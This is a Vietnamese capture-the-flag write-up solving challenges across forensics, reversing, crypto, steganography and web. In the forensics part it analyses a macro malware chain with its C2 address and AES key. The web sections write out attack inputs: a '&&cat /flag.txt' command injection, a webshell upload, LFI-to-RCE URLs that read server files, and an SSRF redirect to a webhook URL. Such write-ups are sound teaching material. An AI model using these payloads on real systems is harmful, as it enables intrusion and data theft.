Cookie Arena Session 2

Mobile 📱

Cat Me

Dùng jadx để tìm ra text mà tôi nhìn thấy khi cài đặt nó về.

Forensic ♾️

Tin học văn phòng

Sổ đăng ký

Đề bài cho chúng ta 1 file NTUSER.DAT. Đây là file chứa các registry key của user hiện tại trên máy victim.

Vậy nên chúng ta sẽ load nó vào regedit trên Windows

Sau khi thử tìm với các key liên quan đến bài thì trong key \Software\Microsoft\Windows\CurrentVersion\Run chứa code Powershell khả nghi

Chỉnh sửa đoạn code thay vì thực thi thì in ra output và có được flag

Báo cáo dang dở

Bài cho chúng ta 1 file crash dump

Sử dụng Windbg để phân tích file này và có được process information cũng như hệ điều hành (OS) mà người dùng sử dụng

Có được OS version rồi thì dùng Volatility 2 với profile WinSP1x64 để đọc file. Trong các process thì có WINWORD.exe phù hợp với description của đề bài

Tôi sử dụng plugin handles để xem các tài nguyên mở đến process này thì có 1 file khá đặc biệt

Google thì file .asd chính là file lưu tự động của Word để nhằm mục đích phục hồi nếu có sự cố.

Dump file này ra và phải bỏ vào đúng đường dẫn mặc định của Word C:\Users\Username\AppData\Roaming\Microsoft\Word\ sau đó mở lên là phục hồi được và có flag

Trivial FTP

Bài cho 1 file pcap và như tên của bài thì chúng ta đi tìm protocol tftp.

Từ packet này, tôi biết được rằng người dùng gửi yêu cầu đọc file flag.pdf với mode là netascii

Giao thức này sử dụng UDP và port để control là 69 còn port gửi data là port khác

Tôi tìm ra được data gửi đi và dùng tshark để lấy chúng đồng thời xóa 4 byte đầu ở các packet do đó là opcode và block number của tftp

Đến đây thì file PDF bị báo corrupt và không mở được. Research thêm một tí thì mode netascii của tftp sẽ tự động chuyển đổi các kí tự xuống dòng LF ("\n") thành cặp carriage return CR và LF ("\r\n") hoặc CR và null ("\r\x00")

Vậy nên cần phải xóa các kí tự thừa bằng đoạn code dưới đây

Cuối cùng mở và có được flag

Under control

Bài cho chúng ta 1 file pcapng trong đó có 1 packet chứa file excel có chứa macro

Export file ra xem trong đó có chứa gì

Sử dụng olevba để có được đoạn script bị obfuscate khá đau mắt :))

Đây là phiên bản dễ đọc hơn sửa bằng cơm

Tiếp đến tôi đọc code và thấy được rằng ở outer_var14 script sẽ tạo 1 object thực hiện gửi request GET đến 1 url là output của func1

Thử chạy đoạn này thì có được link github có script powershell của tác giả : https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1

Tôi sử dụng ScriptBLocking của Powershell để có được 1 đoạn script nữa sau khi chạy đoạn vừa rồi

Lại 1 đoạn script nữa bị obfuscate. Tôi dùng PSDecode để deobfuscate và có được đoạn script cuối

Có vẻ như đoạn script này sẽ thực hiện kết nối tới server 128.199.207.220 để nhận command từ server và gửi result tới server với payload được mã hóa bằng AES CBC (key là d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=' còn iv là 16 byte đầu của payload đã base64 decode)

Có được các thông tin đó, quay trở lại file pcap và đi tìm command từ server

Thử decrypt bằng đoạn script dưới đây

Decrypt ra các command được gửi từ server

Vậy thì giờ tôi chỉ cần đi tìm response từ máy victim gửi đến server với method POST

Decrypt ra và có được 1 file ảnh

Đây là mã QR và ném lên cyberchef là có được flag

Reverse 🔀

Jump

Tôi chọn x32dbg để debug và tìm strings như ảnh dưới đây

Nếu tôi nhập vào 1 số 12 thì process sẽ được tạm dừng tại đây:

Do tên bài + đoán nên tôi đoán là nhập vào hàm chứa flag và jump.

Và đây là kết quả:

pyreverse

Khi chạy nó tôi nhận được 1 chuỗi như này:

Đảo ngược chuỗi lại tôi được:

Nhưng flag mà bạn thấy ở kia chưa phải là đúng nếu bạn không đổi nó thành các chữ hoa và chữ thường tương ứng.

Rev1

Hàm WinMain

Hàm diaLogFunc

Khi run thì bạn cũng có thể nhận ra là bài yêu cầu password, nếu nhập đúng thì pass không thì sẽ bị out khỏi chương trình.

Đọc 1 lúc ta thấy hàm sendmessegeA:

Có hàm sub_402030 xử lí strings:

Thực hiện debug local để xem giá trị của v3 là bao nhiêu:

Tiếp đó tôi thấy có 1 đoạn xử lí input mà tôi nhập vào:

Hàm sẽ lấy từng kí tự và đem cộng trừ với nhau. Đoạn mã cho phép 14 kí tự. Tôi có script để giải bài toán này (14 ẩn)

Và sau khi chạy chương trình tôi nhận được 1 đoạn text, nhập nó vào chương trình tôi được flag như dưới đây:

Programming 👩‍💻

Identity Security

Crypto🌕

Rubic Cipher

Tôi được cung cấp 3 file:

cipher.txt

scramble_sequence.txt

rubik.txt

Với bài này, tôi đã từng chơi qua một bài CTF tương tự. Việc cần làm chỉ là tìm lại tên của nó, và tôi tìm ra nó là RubikCBC của giải rgbCTF 2020. Tôi tìm code solve hồi đó của tôi và sửa lại đôi chút để phù hợp với challenge này:

Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}

Knapsack Ls

knapsack.py

cipher.txt

pub_key.txt

Tôi chạy thử file knapsack.py sau khi uncomment dòng # print((tmp.bit_length()+7)//8) thì nhận thấy message bị chia thành từng block 4 bytes và từ 4 bytes đó encrypt được cipher dài 17 bytes.

Chia cipher thành từng block 17 bytes và để ý little endian nên phải đảo ngược. Tôi thu được mảng ret.

Dùng code giải knapsack của giải ASIS 2014 https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/archaic với đầu vào là ret.

Chạy file solve với pipeline | grep 0 | grep 1 | grep -v "-", tôi thu được các short vector với mỗi block.

Sử dụng python để giải mã:

Tôi thu được:

Flag: CHH{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}

Basic Operator

Vậy thì ý tưởng đơn giản là dựng ngược lại từng hàm để có thể tìm lại được flag

Ban đầu tôi không ra, sau đó tôi để ý ở hàm dùng square root có thể ra 2 đáp án. Tôi đã dùng sage để tính lại một chút rồi lọc kết quả cho vào mảng a1.

Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}

Stenography💹

Cutt3 Kitty

Dùng stegsolve với ảnh mà bài đã cho và binwalk file ảnh ra bạn được 1 loạt tệp tin.

Sau đó từ file âm thanh tôi nhận được 1 dòng ký tự:

Dùng strings tôi đọc được

Vậy nên tôi sẽ giải nén bằng unrar. Nhưng bị lỗi do:

Đổi header về rar để xem còn lỗi không

byte cuối là 0x01

Lưu nó lại và giải nén.

password là text mà bạn nhìn thấy ở phần âm thanh
Thêm format CHH{} vào là xong

Web🕸️

Be positive

Đề bài cung cấp cho 2 tài khoản cùng mật khẩu là alice và bob. Đăng nhập thì thấy rằng phải có đủ tiền ở mỗi tài khoản là $3001 thì mới mua được flag. Và chức năng chuyển tiền có lỗ hổng cho phép tùy ý điều chỉnh số tiền chuyển đi mà không filter

Sử dụng payload này tăng được số tiền của alice và mua được flag

Slow down

Cũng vẫn giống như bài Be Positive tuy nhiên lần này thử payload tương tự thì làm tăng tiền ở tài khoản bob chứ không phải alice và mua được flag

Youtube Downloader

Với bài này cho input vào là đường link youtube để download tuy nhiên nó đã bị command injection

Sử dụng payload: &&cat /flag.txt với đường dẫn youtube bất kì là có được flag

Magic Login

Với trang web login đơn giản, CTRL+U để xem được code php

Ở đây phần điều kiện cho password dính lỗi Type Juggling của PHP tức là chỉ cần mã hash sha256 của password có "0" ở đầu là có thể bypass được

Với payload "TyNOQHUS" sẽ cho ra mã hash sha256 là "0e66298694359207596086558843543959518835691168370379069085300385". Từ đó chúng ta đăng nhập thành công.

Tiếp đến là chức năng upload file mà không filter hay validate file

Vậy nên có thể dễ dàng upload webshell lên và đọc được flag

Magic Login Header

Description: Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flagXXX.txt hãy tìm cách đọc được chúng.

Link source: Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)

1/ Initial reconnaissance:

  • Vào website nhận được một giao diện có mỗi chức năng đăng nhập, chức năng forgot password không thể sử dụng.

2/ Rebuild the environment and review source code:

  • Vì không tìm được những điều khả nghi ở trang login nên giờ ngó qua source xem có những gì.Comment

  • Source cho sẵn 3 file admin.php, index.php, 1.txt. Đọc source thì tôi thấy, để đăng nhập vào hệ thống, thì tôi sẽ nhập username và password, rồi server sẽ decode bằng base64 cả username và password. Sau đó, phần username và password đã được base64_decode, sẽ được đưa qua 1 hàm hash md5() rồi so sánh cả 2 hash.Comment

  • Điểm đặc biệt là bài yêu cầu $username$password phải khác nhau (loose comparison), tuy nhiên, hash md5 của chúng phải giống nhau (strict comparison). Nếu thỏa mãn thì redirect tới admin.php?file=1.txt. Tôi có thử truy cập khi chưa login thành công, kết quả là có thông báo lỗi. Có lẽ admin.php chặn truy cập bằng session.Comment

  • Tôi sử dụng hash có sẵn từ trang wiki, rồi sử dụng cyberchef để lấy base64 encode rồi gửi lên server. Tất nhiên là thành công.

  • Đăng nhập thành công nhận được một đoạn text khá là bực mình sau một thời gian tìm cách login.Comment

  • Phân tích 1 chút thì đúng như tôi dự đoán, để sử dụng file inclusion, cần phải có session['username'], thỏa mãn khi login thành công. Lúc đó, server sẽ include() file theo tên mà tôi để ở get parameter 'file'. Hàm include() có đặc điểm là sẽ lấy toàn bộ code ở file đấy, vào file hiện tại, tức là nếu trong file tôi include có code php, nó cũng sẽ được thực thi khi tôi request. Vì vậy, để lấy file content thì thường thì tôi sẽ cần base64 encode nó như payload lấy admin.php.

  • Quay lại với việc lấy thông tin các file ở vị trí hiện tại, tôi có nhớ ra là /proc/self/ là 1 file chứa thông tin của process hiện tại, với self giúp chỉ hướng tới process hiện tại mà không cần process id. Vậy nên tôi đã thử rất nhiều payload include() với /proc/self.Comment

  • Cuối cùng, tôi tìm được 1 payload có vẻ khả dĩ /proc/self/fd/{fid}. Với fid là số từ 1. Thử brute force thì ra 4. Với payload: http://34.80.117.212:9005/admin.php?file=/proc/self/fd/11, chúng ta có 1 response khả nghi

  • Tôi đoán đây chính là file session. với username chính là username mình nhập vào. Nhưng tôi bị stuck vì chưa biết tình cách nào để đi tiếp, tôi khá chắc là file session, tôi đã tiếp tục research trên mạng và tìm được bài viết liên quan tới lfi, rce và session.Comment

  • Lúc tìm được, 1 phần vì không chắc chắn với hướng đi, 1 phần vì cố gắng tự tạo 1 file shell php có md5 hash collision có vẻ bất khả thi với mình, nên tôi đã dừng việc tìm kiếm lại. Tuy nhiên, đáp án lại nằm ở việc research. Chỉ vài phút search, chúng ta đã có 2 file php với hash md5 collision, 1 file trong số đó là php shell. link

3/ Exploitation

  • Lặp lại trình tự ban đầu, chúng ta có 1 shell trên server khi inject shell vào parameter username. Công việc tiếp theo là khá đơn giản, đây là 1 shell eval(), tôi lần lượt list tất cả các file có trong server, mình thử 1 payload http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=echo(%27flag%27); và nhận được kết quả khá ưng ý, câu lệnh đã hoạt động.

  • Lúc này thì mình research thêm một lúc nữa để tìm cách liệt kê tên tất cả thư mục bằng PHP và bằng một cách khờ khạo nào đó khi mình tìm được tên các file mong muốn nhưng lại không đọc được file flag mình đã sử dụng thêm một hàm dùng để đọc file trong PHP.

2 link xây dựng payload của mình: 1, 2

  • Và cuối cùng tôi xây dựng được payload:

http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=foreach%20(new%20DirectoryIterator(%22/%22)%20as%20$file)%20{if%20($file-%3EisFile())%20{print%20$file-%3EgetFilename()%20.%20%22\n%22;}}

http://magic-login-harder-38f1e061.dailycookie.cloud/admin.php?file=/proc/self/fd/4&1=foreach%20(new%20DirectoryIterator(%22/%22)%20as%20$file)%20{if%20($file-%3EisFile())%20{print%20$file-%3EgetFilename()%20.%20%22\n%22;}}%20echo%20file_get_contents(%22../../flagavio4.txt%22);

  • Nhưng thật ra tới đây các chỉ khi tìm thấy flagXXXXX.txt mà đề bài yêu cầu đơn giản hóa đi :)))

Description:

Video Link Extractor là công cụ giúp bạn trích xuất những thông tin cơ bản của các dịch vụ Video trực tuyến như Youtube, Vimeo. Tuy nhiên nó có tồn tại một lỗ hổng nghiêm trọng, hãy tìm ra nó và lợi dụng nó để đọc FLAG được lưu trong flag.php

Tải Challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link

1/ Initial reconnaissance:

  • Tôi có một website có thể extract thông tin của của MV trên youtube

  • Tiếp theo tôi có 4 file php có trong source utils.php, flag.php, format.php, index.php.

2/ Rebuild the environment and review source code:

Ở trong file utils.php thấy có sử dụng unserialize và trong hàm __wakeup có đoạn include $this->_file, nghi ngờ đây có thể là PHP Deserialization.

  • Tiếp theo tôi thấy, host=local trang web thực hiện đoạn code:

  • Lợi dụng điều đó, tôi sẽ gọi đến chức năng redirect của localhost:1337. Vì nó nhận vào param là url, tôi sẽ thay url là webhook tôi sử dụng và xây dựng được payload đầu tiên:

  • ?mode=redirect%26url=https://webhook.site/e2be3efa-76dc-4f31-ac1c-a644865d09d3

  • Nó đã get tới webhook của tôi:Comment

3/ Exploitation:

  • Tiếp theo là tạo payload để cho vào unserialize

  • Tiếp tôi sẽ thay kết quả của script vào response của webhook rồi gửi send trên burp suite để nhận respone mới.

  • Tôi thấy được một đoạn mã được gửi về và giờ chỉ việc decode base 64 và nhận được kết quả đang cần tìm

Last updated

Was this helpful?